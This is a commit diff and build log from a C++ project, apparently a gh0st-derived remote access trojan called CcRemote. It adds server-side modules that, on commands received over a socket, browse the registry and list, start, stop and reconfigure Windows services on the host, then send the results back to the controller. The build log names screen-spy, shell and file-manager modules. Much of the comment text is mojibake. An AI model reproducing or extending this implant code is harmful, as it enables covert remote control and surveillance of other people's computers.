f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(126): warning C4309: “=”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(164): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(98): warning C4101: “szKeyName”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(106): warning C4101: “KeySize”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(182): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
RegManager.cpp
|
||||
ScreenManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
|
||||
d:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
|
||||
@@ -106,6 +123,8 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(379): warning C4018: “>”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(400): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018: “<”: 有符号/无符号不匹配
|
||||
ServerManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\servermanager.cpp(291): warning C4102: “defaute”: 未引用的标签
|
||||
ShellManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
@@ -155,7 +174,8 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(10): warning C4267: “=”:
|
||||
LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”;已忽略
|
||||
正在创建库 ..\..\bin\server\CcMainDll.lib 和对象 ..\..\bin\server\CcMainDll.exp
|
||||
正在生成代码
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(113): warning C4700: 使用了未初始化的局部变量“NameSize”
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(260): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
|
||||
All 352 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
All 372 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\CcMainDll\..\..\bin\server\CcMainDll.dll
|
||||
|
@@ -94,6 +94,14 @@ void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
(LPVOID)(lpBuffer + 1), 0, NULL, true);
|
||||
Sleep(100); // <20><><EFBFBD>ݲ<EFBFBD><DDB2><EFBFBD><EFBFBD><EFBFBD>
|
||||
break;
|
||||
case COMMAND_SERVICES: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ServicesManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
||||
break;
|
||||
case COMMAND_REGEDIT: //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_RegeditManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
||||
break;
|
||||
case COMMAND_OPEN_URL_SHOW: // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
|
||||
OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);
|
||||
break;
|
||||
|
@@ -4,7 +4,7 @@
|
||||
|
||||
|
||||
#include "..\pch.h"
|
||||
//---<2D><>ʵ<EFBFBD><EFBFBD>CManager<EFBFBD><EFBFBD>ʲôҲû<EFBFBD><EFBFBD>ʵ<EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ȥ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>gh0st<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ôʹ<EFBFBD><EFBFBD>cClientSocket<EFBFBD>ĵ<EFBFBD>main <20><><EFBFBD><EFBFBD>
|
||||
//---<2D><>CManager<65><72>ʲôҲû<D2B2><C3BB>ʵ<EFBFBD><CAB5> <20><>ClientSocket main <20><><EFBFBD><EFBFBD>
|
||||
#include "Manager.h"
|
||||
#include "until.h"
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
55
CcMainDll/CcMainDll/common/RegManager.cpp
Normal file
@@ -0,0 +1,55 @@
|
||||
// RegManager.cpp: implementation of the CRegManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "..\pch.h"
|
||||
#include "RegManager.h"
|
||||
#include "RegeditOpt.h"
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CRegManager::CRegManager(CClientSocket *pClient):CManager(pClient)
|
||||
{
|
||||
BYTE bToken=TOKEN_REGEDIT;
|
||||
Send((BYTE*)&bToken,1);
|
||||
}
|
||||
|
||||
CRegManager::~CRegManager()
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
void CRegManager::Find(char bToken, char *path)
|
||||
{
|
||||
RegeditOpt reg(bToken);
|
||||
if(path!=NULL){
|
||||
reg.SetPath(path);
|
||||
}
|
||||
char *tmp= reg.FindPath();
|
||||
if(tmp!=NULL){
|
||||
Send((LPBYTE)tmp, LocalSize(tmp));
|
||||
LocalFree(tmp);
|
||||
}
|
||||
char* tmpd=reg.FindKey();
|
||||
|
||||
if(tmpd!=NULL){
|
||||
Send((LPBYTE)tmpd, LocalSize(tmpd));
|
||||
LocalFree(tmpd);
|
||||
}
|
||||
}
|
||||
|
||||
void CRegManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
switch (lpBuffer[0]){
|
||||
case COMMAND_REG_FIND: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if(nSize>=3){
|
||||
Find(lpBuffer[1],(char*)(lpBuffer+2));
|
||||
}else{
|
||||
Find(lpBuffer[1],NULL);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
25
CcMainDll/CcMainDll/common/RegManager.h
Normal file
@@ -0,0 +1,25 @@
|
||||
// RegManager.h: interface for the CRegManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_REGMANAGER_H__F3FCEB28_905E_4637_9A9E_F3F8907FB3BF__INCLUDED_)
|
||||
#define AFX_REGMANAGER_H__F3FCEB28_905E_4637_9A9E_F3F8907FB3BF__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
|
||||
class CRegManager : public CManager
|
||||
{
|
||||
public:
|
||||
void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
CRegManager(CClientSocket *pClient);
|
||||
virtual ~CRegManager();
|
||||
|
||||
protected:
|
||||
void Find(char bToken,char* path);
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_REGMANAGER_H__F3FCEB28_905E_4637_9A9E_F3F8907FB3BF__INCLUDED_)
|
183
CcMainDll/CcMainDll/common/RegeditOpt.cpp
Normal file
@@ -0,0 +1,183 @@
|
||||
// RegeditOpt.cpp: implementation of the RegeditOpt class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "..\pch.h"
|
||||
#include "RegeditOpt.h"
|
||||
#include "..\..\..\common\macros.h"
|
||||
#include <stdlib.h>
|
||||
#include <malloc.h>
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
RegeditOpt::RegeditOpt()
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
RegeditOpt::RegeditOpt(char b)
|
||||
{
|
||||
switch(b){
|
||||
case MHKEY_CLASSES_ROOT:
|
||||
MKEY=HKEY_CLASSES_ROOT;
|
||||
break;
|
||||
case MHKEY_CURRENT_USER:
|
||||
MKEY=HKEY_CURRENT_USER;
|
||||
break;
|
||||
case MHKEY_LOCAL_MACHINE:
|
||||
MKEY=HKEY_LOCAL_MACHINE;
|
||||
break;
|
||||
case MHKEY_USERS:
|
||||
MKEY=HKEY_USERS;
|
||||
break;
|
||||
case MHKEY_CURRENT_CONFIG:
|
||||
MKEY=HKEY_CURRENT_CONFIG;
|
||||
break;
|
||||
default:
|
||||
MKEY=HKEY_LOCAL_MACHINE;
|
||||
break;
|
||||
}
|
||||
ZeroMemory(KeyPath,MAX_PATH);
|
||||
}
|
||||
RegeditOpt::~RegeditOpt()
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
char* RegeditOpt::FindPath()
|
||||
{
|
||||
char *buf=NULL;
|
||||
HKEY hKey; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ؾ<EFBFBD><D8BE><EFBFBD>
|
||||
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS)//<2F><><EFBFBD><EFBFBD>
|
||||
{
|
||||
DWORD dwIndex=0,NameSize,NameCnt,NameMaxLen,Type;
|
||||
DWORD KeySize,KeyCnt,KeyMaxLen,DateSize,MaxDateLen;
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ö<EFBFBD><C3B6><EFBFBD><EFBFBD>
|
||||
if(RegQueryInfoKey(hKey,NULL,NULL,NULL,&KeyCnt,&KeyMaxLen,NULL,&NameCnt,&NameMaxLen,&MaxDateLen,NULL,NULL)!=ERROR_SUCCESS)
|
||||
{
|
||||
|
||||
return NULL;
|
||||
}
|
||||
//һ<>㱣<EFBFBD><E3B1A3><EFBFBD><EFBFBD>ʩ
|
||||
KeySize=KeyMaxLen+1;
|
||||
if(KeyCnt>0&&KeySize>1){
|
||||
int size=sizeof(REGMSG)+1;
|
||||
|
||||
//buf=new char[KeyCnt*KeySize+size+1];
|
||||
DWORD datasize=KeyCnt*KeySize+size+1;
|
||||
buf=(char*)LocalAlloc(LPTR, datasize);
|
||||
ZeroMemory(buf,datasize);
|
||||
buf[0]=TOKEN_REG_PATH; //<2F><><EFBFBD><EFBFBD>ͷ
|
||||
REGMSG msg; //<2F><><EFBFBD><EFBFBD>ͷ
|
||||
msg.size=KeySize;
|
||||
msg.count=KeyCnt;
|
||||
memcpy(buf+1,(void*)&msg,size);
|
||||
|
||||
char * tmp=new char[KeySize];
|
||||
for(dwIndex=0;dwIndex<KeyCnt;dwIndex++) //ö<><C3B6><EFBFBD><EFBFBD>
|
||||
{
|
||||
ZeroMemory(tmp,KeySize);
|
||||
DWORD i=KeySize;
|
||||
RegEnumKeyEx(hKey,dwIndex,tmp,&i,NULL,NULL,NULL,NULL);
|
||||
strcpy(buf+dwIndex*KeySize+size,tmp);
|
||||
}
|
||||
delete[] tmp;
|
||||
RegCloseKey(hKey);
|
||||
buf=(char*)LocalReAlloc(buf, datasize, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return buf;
|
||||
}
|
||||
|
||||
char* RegeditOpt::FindKey()
|
||||
{
|
||||
char *szValueName; //<2F><>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD>
|
||||
char *szKeyName; //<2F>Ӽ<EFBFBD><D3BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
LPBYTE szValueDate; //<2F><>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD>
|
||||
|
||||
char *buf=NULL;
|
||||
HKEY hKey; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ؾ<EFBFBD><D8BE><EFBFBD>
|
||||
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS)//<2F><><EFBFBD><EFBFBD>
|
||||
{
|
||||
DWORD dwIndex=0,NameSize,NameCnt,NameMaxLen,Type;
|
||||
DWORD KeySize,KeyCnt,KeyMaxLen,DataSize,MaxDateLen;
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ö<EFBFBD><C3B6><EFBFBD><EFBFBD>
|
||||
if(RegQueryInfoKey(hKey,NULL,NULL,NULL,&KeyCnt,&KeyMaxLen,NULL,&NameCnt,&NameMaxLen,&MaxDateLen,NULL,NULL)!=ERROR_SUCCESS)
|
||||
{
|
||||
|
||||
return NULL;
|
||||
}
|
||||
if(NameCnt>0&&MaxDateLen>0&&NameSize>0)
|
||||
{
|
||||
DataSize=MaxDateLen+1;
|
||||
NameSize=NameMaxLen+100;
|
||||
REGMSG msg;
|
||||
msg.count=NameCnt; //<2F>ܸ<EFBFBD><DCB8><EFBFBD>
|
||||
msg.size=NameSize; //<2F><><EFBFBD>ִ<EFBFBD>С
|
||||
msg.valsize=DataSize; //<2F><><EFBFBD>ݴ<EFBFBD>С
|
||||
int msgsize=sizeof(REGMSG);
|
||||
// ͷ <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
|
||||
DWORD size=sizeof(REGMSG)+ sizeof(BYTE)*NameCnt+ NameSize*NameCnt+DataSize*NameCnt+10;
|
||||
buf=(char*)LocalAlloc(LPTR, size);
|
||||
ZeroMemory(buf,size);
|
||||
buf[0]=TOKEN_REG_KEY; //<2F><><EFBFBD><EFBFBD>ͷ
|
||||
memcpy(buf+1,(void*)&msg,msgsize); //<2F><><EFBFBD><EFBFBD>ͷ
|
||||
|
||||
szValueName=(char *)malloc(NameSize);
|
||||
szValueDate=(LPBYTE)malloc(DataSize);
|
||||
|
||||
char *tmp=buf+msgsize+1;
|
||||
for(dwIndex=0;dwIndex<NameCnt;dwIndex++) //ö<>ټ<EFBFBD>ֵ
|
||||
{
|
||||
ZeroMemory(szValueName,NameSize);
|
||||
ZeroMemory(szValueDate,DataSize);
|
||||
|
||||
DataSize=MaxDateLen+1;
|
||||
NameSize=NameMaxLen+100;
|
||||
|
||||
RegEnumValue(hKey,dwIndex,szValueName,&NameSize,NULL,&Type,szValueDate,&DataSize);//<2F><>ȡ<EFBFBD><C8A1>ֵ
|
||||
|
||||
if(Type==REG_SZ)
|
||||
{
|
||||
tmp[0]=MREG_SZ;
|
||||
}
|
||||
if(Type==REG_DWORD)
|
||||
{
|
||||
//DWORD d;//=(DWORD)*szValueDate;
|
||||
// CRegistry reg(hKey);
|
||||
// reg.Read(szValueName,&d);
|
||||
// memcpy(szValueDate,(void*)&d,sizeof(DWORD));
|
||||
tmp[0]=MREG_DWORD;
|
||||
}
|
||||
if(Type==REG_BINARY)
|
||||
{
|
||||
tmp[0]=MREG_BINARY;
|
||||
}
|
||||
if(Type==REG_EXPAND_SZ)
|
||||
{
|
||||
tmp[0]=MREG_EXPAND_SZ;
|
||||
}
|
||||
tmp+=sizeof(BYTE);
|
||||
strcpy(tmp,szValueName);
|
||||
tmp+=msg.size;
|
||||
memcpy(tmp,szValueDate,msg.valsize);
|
||||
tmp+=msg.valsize;
|
||||
}
|
||||
free(szValueName);
|
||||
free(szValueDate);
|
||||
buf=(char*)LocalReAlloc(buf, size, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
}
|
||||
|
||||
}
|
||||
return buf;
|
||||
}
|
||||
|
||||
|
||||
void RegeditOpt::SetPath(char *path)
|
||||
{
|
||||
ZeroMemory(KeyPath,MAX_PATH);
|
||||
strcpy(KeyPath,path);
|
||||
}
|
48
CcMainDll/CcMainDll/common/RegeditOpt.h
Normal file
@@ -0,0 +1,48 @@
|
||||
// RegeditOpt.h: interface for the RegeditOpt class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_REGEDITOPT_H__4840C10B_6BD5_4F6A_A6E8_16BB38516358__INCLUDED_)
|
||||
#define AFX_REGEDITOPT_H__4840C10B_6BD5_4F6A_A6E8_16BB38516358__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
|
||||
enum MYKEY{
|
||||
MHKEY_CLASSES_ROOT,
|
||||
MHKEY_CURRENT_USER,
|
||||
MHKEY_LOCAL_MACHINE,
|
||||
MHKEY_USERS,
|
||||
MHKEY_CURRENT_CONFIG
|
||||
};
|
||||
enum KEYVALUE{
|
||||
MREG_SZ,
|
||||
MREG_DWORD,
|
||||
MREG_BINARY,
|
||||
MREG_EXPAND_SZ
|
||||
};
|
||||
|
||||
struct REGMSG{
|
||||
int count; //<2F><><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>
|
||||
DWORD size; //<2F><><EFBFBD>ִ<EFBFBD>С
|
||||
DWORD valsize; //ֵ<><D6B5>С
|
||||
|
||||
};
|
||||
class RegeditOpt
|
||||
{
|
||||
public:
|
||||
void SetPath(char *path);
|
||||
char* FindKey();
|
||||
char* FindPath();
|
||||
RegeditOpt();
|
||||
RegeditOpt(char b);
|
||||
virtual ~RegeditOpt();
|
||||
|
||||
protected:
|
||||
char KeyPath[MAX_PATH];
|
||||
HKEY MKEY;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_REGEDITOPT_H__4840C10B_6BD5_4F6A_A6E8_16BB38516358__INCLUDED_)
|
294
CcMainDll/CcMainDll/common/ServerManager.cpp
Normal file
@@ -0,0 +1,294 @@
|
||||
// ServerManager.cpp: implementation of the CServerManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "..\pch.h"
|
||||
#include "ServerManager.h"
|
||||
#include "..\..\..\common\macros.h"
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CServerManager::CServerManager(CClientSocket *pClient) : CManager(pClient)
|
||||
{
|
||||
SendServicesList();
|
||||
}
|
||||
|
||||
CServerManager::~CServerManager()
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
LPBYTE CServerManager::getServerList()
|
||||
{
|
||||
LPQUERY_SERVICE_CONFIG ServicesInfo = NULL;
|
||||
LPENUM_SERVICE_STATUS lpServices = NULL;
|
||||
LPBYTE lpBuffer = NULL;
|
||||
DWORD nSize = 0;
|
||||
DWORD n;
|
||||
DWORD nResumeHandle = 0;
|
||||
DWORD dwServiceType = SERVICE_WIN32;
|
||||
DWORD dwLength = 0;
|
||||
DWORD dwOffset = 0;
|
||||
char runway[256] = {0};
|
||||
char autorun[256] = {0};
|
||||
BOOL isAalid = TRUE;
|
||||
|
||||
SC_HANDLE schSCManager = NULL;
|
||||
BOOL Flag = FALSE;
|
||||
|
||||
if((schSCManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))==NULL)
|
||||
{
|
||||
OutputDebugString("OpenSCManager Error\n");
|
||||
return NULL;
|
||||
}
|
||||
lpServices = (LPENUM_SERVICE_STATUS) LocalAlloc(LPTR, 64*1024); // Allocate Ram
|
||||
|
||||
EnumServicesStatus(schSCManager,
|
||||
dwServiceType,
|
||||
SERVICE_STATE_ALL,
|
||||
(LPENUM_SERVICE_STATUS)lpServices,
|
||||
64 * 1024,
|
||||
&nSize,
|
||||
&n,
|
||||
&nResumeHandle);
|
||||
|
||||
lpBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH);
|
||||
|
||||
lpBuffer[0] = TOKEN_SERVERLIST;
|
||||
dwOffset = 1;
|
||||
|
||||
for (unsigned long i = 0; i < n; i++) // Display The Services,<2C><>ʾ<EFBFBD><CABE><EFBFBD>еķ<D0B5><C4B7><EFBFBD>
|
||||
{
|
||||
SC_HANDLE service = NULL;
|
||||
DWORD nResumeHandle = 0;
|
||||
|
||||
service=OpenService(schSCManager,lpServices[i].lpServiceName,SERVICE_ALL_ACCESS);//<2F><EFBFBD>ǰָ<C7B0><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ľ<EFBFBD><C4BE><EFBFBD>
|
||||
|
||||
if (service == NULL)
|
||||
isAalid = false;
|
||||
else
|
||||
isAalid = true;
|
||||
|
||||
|
||||
ServicesInfo = (LPQUERY_SERVICE_CONFIG) LocalAlloc(LPTR, 4*1024); // Allocate Ram
|
||||
|
||||
QueryServiceConfig(service,ServicesInfo,4*1024,&nResumeHandle); //<2F><>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
if ( lpServices[i].ServiceStatus.dwCurrentState!=SERVICE_STOPPED) //<2F><><EFBFBD><EFBFBD>״̬
|
||||
{
|
||||
ZeroMemory(runway, sizeof(runway));
|
||||
lstrcat(runway,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||||
}
|
||||
else
|
||||
{
|
||||
ZeroMemory(runway, sizeof(runway));
|
||||
lstrcat(runway,"ֹͣ");
|
||||
}
|
||||
|
||||
if(2==ServicesInfo->dwStartType) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
ZeroMemory(autorun, sizeof(autorun));
|
||||
lstrcat(autorun,"<EFBFBD>Զ<EFBFBD>");
|
||||
}
|
||||
if(3==ServicesInfo->dwStartType)
|
||||
{
|
||||
ZeroMemory(autorun, sizeof(autorun));
|
||||
lstrcat(autorun,"<EFBFBD>ֶ<EFBFBD>");
|
||||
}
|
||||
if(4==ServicesInfo->dwStartType)
|
||||
{
|
||||
ZeroMemory(autorun, sizeof(autorun));
|
||||
lstrcat(autorun,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||||
}
|
||||
if (isAalid)
|
||||
{
|
||||
dwLength = sizeof(DWORD) + lstrlen(lpServices[i].lpDisplayName)
|
||||
+ lstrlen(ServicesInfo->lpBinaryPathName) + lstrlen(lpServices[i].lpServiceName)
|
||||
+ lstrlen(runway) + lstrlen(autorun) + 2;
|
||||
}
|
||||
else
|
||||
{
|
||||
dwLength = sizeof(DWORD) + lstrlen(lpServices[i].lpDisplayName)
|
||||
+ lstrlen(lpServices[i].lpServiceName)
|
||||
+ lstrlen(runway) + lstrlen(autorun) + lstrlen("No Access") + 2;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̫С<CCAB><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
|
||||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
|
||||
memcpy(lpBuffer + dwOffset, lpServices[i].lpDisplayName, lstrlen(lpServices[i].lpDisplayName) + 1);
|
||||
dwOffset += lstrlen(lpServices[i].lpDisplayName) + 1;//<2F><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD>
|
||||
|
||||
memcpy(lpBuffer + dwOffset, lpServices[i].lpServiceName, lstrlen(lpServices[i].lpServiceName) + 1);
|
||||
dwOffset += lstrlen(lpServices[i].lpServiceName) + 1;//<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
|
||||
if (isAalid)
|
||||
{
|
||||
memcpy(lpBuffer + dwOffset, ServicesInfo->lpBinaryPathName, lstrlen(ServicesInfo->lpBinaryPathName) + 1);
|
||||
dwOffset += lstrlen(ServicesInfo->lpBinaryPathName) + 1;//·<><C2B7>
|
||||
|
||||
memcpy(lpBuffer + dwOffset, runway, lstrlen(runway) + 1);//<2F><><EFBFBD><EFBFBD>״̬
|
||||
dwOffset += lstrlen(runway) + 1;
|
||||
|
||||
memcpy(lpBuffer + dwOffset, autorun, lstrlen(autorun) + 1);//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬
|
||||
dwOffset += lstrlen(autorun) + 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
ZeroMemory(runway, sizeof(runway));
|
||||
lstrcat(runway, "<EFBFBD><EFBFBD>Ȩ");
|
||||
ZeroMemory(autorun, sizeof(autorun));
|
||||
lstrcat(autorun, "<EFBFBD><EFBFBD>Ȩ");
|
||||
|
||||
memcpy(lpBuffer + dwOffset, "No Access", lstrlen("No Access") + 1);//·<><C2B7>
|
||||
dwOffset += lstrlen("No Access") + 1;
|
||||
|
||||
memcpy(lpBuffer + dwOffset, runway, lstrlen(runway) + 1);//<2F><><EFBFBD><EFBFBD>״̬
|
||||
dwOffset += lstrlen(runway) + 1;
|
||||
|
||||
memcpy(lpBuffer + dwOffset, autorun, lstrlen(autorun) + 1);//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬
|
||||
dwOffset += lstrlen(autorun) + 1;
|
||||
}
|
||||
}
|
||||
|
||||
CloseServiceHandle(schSCManager);
|
||||
|
||||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
|
||||
return lpBuffer;
|
||||
|
||||
}
|
||||
|
||||
void CServerManager::SendServicesList()
|
||||
{
|
||||
UINT nRet = -1;
|
||||
LPBYTE lpBuffer = getServerList();
|
||||
if (lpBuffer == NULL)
|
||||
return;
|
||||
|
||||
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
|
||||
void CServerManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
switch (lpBuffer[0])
|
||||
{
|
||||
case COMMAND_SERVICELIST:
|
||||
SendServicesList();
|
||||
break;
|
||||
case COMMAND_SERVICECONFIG:
|
||||
ServiceConfig((LPBYTE)lpBuffer + 1, nSize - 1);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void CServerManager::ServiceConfig(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
BYTE COMMAND = lpBuffer[0];
|
||||
char *m_ServiceName = (char *)(lpBuffer + 1);
|
||||
|
||||
switch (COMMAND)
|
||||
{
|
||||
case COMMAND_SERVICES_START: //start
|
||||
{
|
||||
SC_HANDLE hSCManager1 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||||
if (NULL != hSCManager1)
|
||||
{
|
||||
SC_HANDLE hService1 = OpenService(hSCManager1, m_ServiceName, SERVICE_ALL_ACCESS);
|
||||
if (NULL != hService1)
|
||||
{
|
||||
StartService(hService1, NULL, NULL);
|
||||
CloseServiceHandle(hService1);
|
||||
}
|
||||
CloseServiceHandle(hSCManager1);
|
||||
}
|
||||
Sleep(500);
|
||||
SendServicesList();
|
||||
}
|
||||
break;
|
||||
|
||||
case COMMAND_SERVICES_STOP: //stop
|
||||
{
|
||||
SC_HANDLE hSCManager4 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||||
if (NULL != hSCManager4)
|
||||
{
|
||||
SC_HANDLE hService4 = OpenService(hSCManager4, m_ServiceName, SERVICE_ALL_ACCESS);
|
||||
if (NULL != hService4)
|
||||
{
|
||||
SERVICE_STATUS stat;
|
||||
ControlService(hService4, SERVICE_CONTROL_STOP, &stat);
|
||||
CloseServiceHandle(hService4);
|
||||
}
|
||||
CloseServiceHandle(hSCManager4);
|
||||
}
|
||||
Sleep(500);
|
||||
SendServicesList();
|
||||
}
|
||||
break;
|
||||
case COMMAND_SERVICES_AUTO: //auto
|
||||
{
|
||||
SC_HANDLE hSCManager2 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||||
if (NULL != hSCManager2)
|
||||
{
|
||||
SC_HANDLE hService2 = OpenService(hSCManager2, m_ServiceName, SERVICE_ALL_ACCESS);
|
||||
if (NULL != hService2)
|
||||
{
|
||||
SC_LOCK sclLock2 = LockServiceDatabase(hSCManager2);
|
||||
BOOL stat2 = ChangeServiceConfig(
|
||||
hService2,
|
||||
SERVICE_NO_CHANGE,
|
||||
SERVICE_AUTO_START,
|
||||
SERVICE_NO_CHANGE,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL);
|
||||
UnlockServiceDatabase(sclLock2);
|
||||
CloseServiceHandle(hService2);
|
||||
}
|
||||
CloseServiceHandle(hSCManager2);
|
||||
}
|
||||
Sleep(500);
|
||||
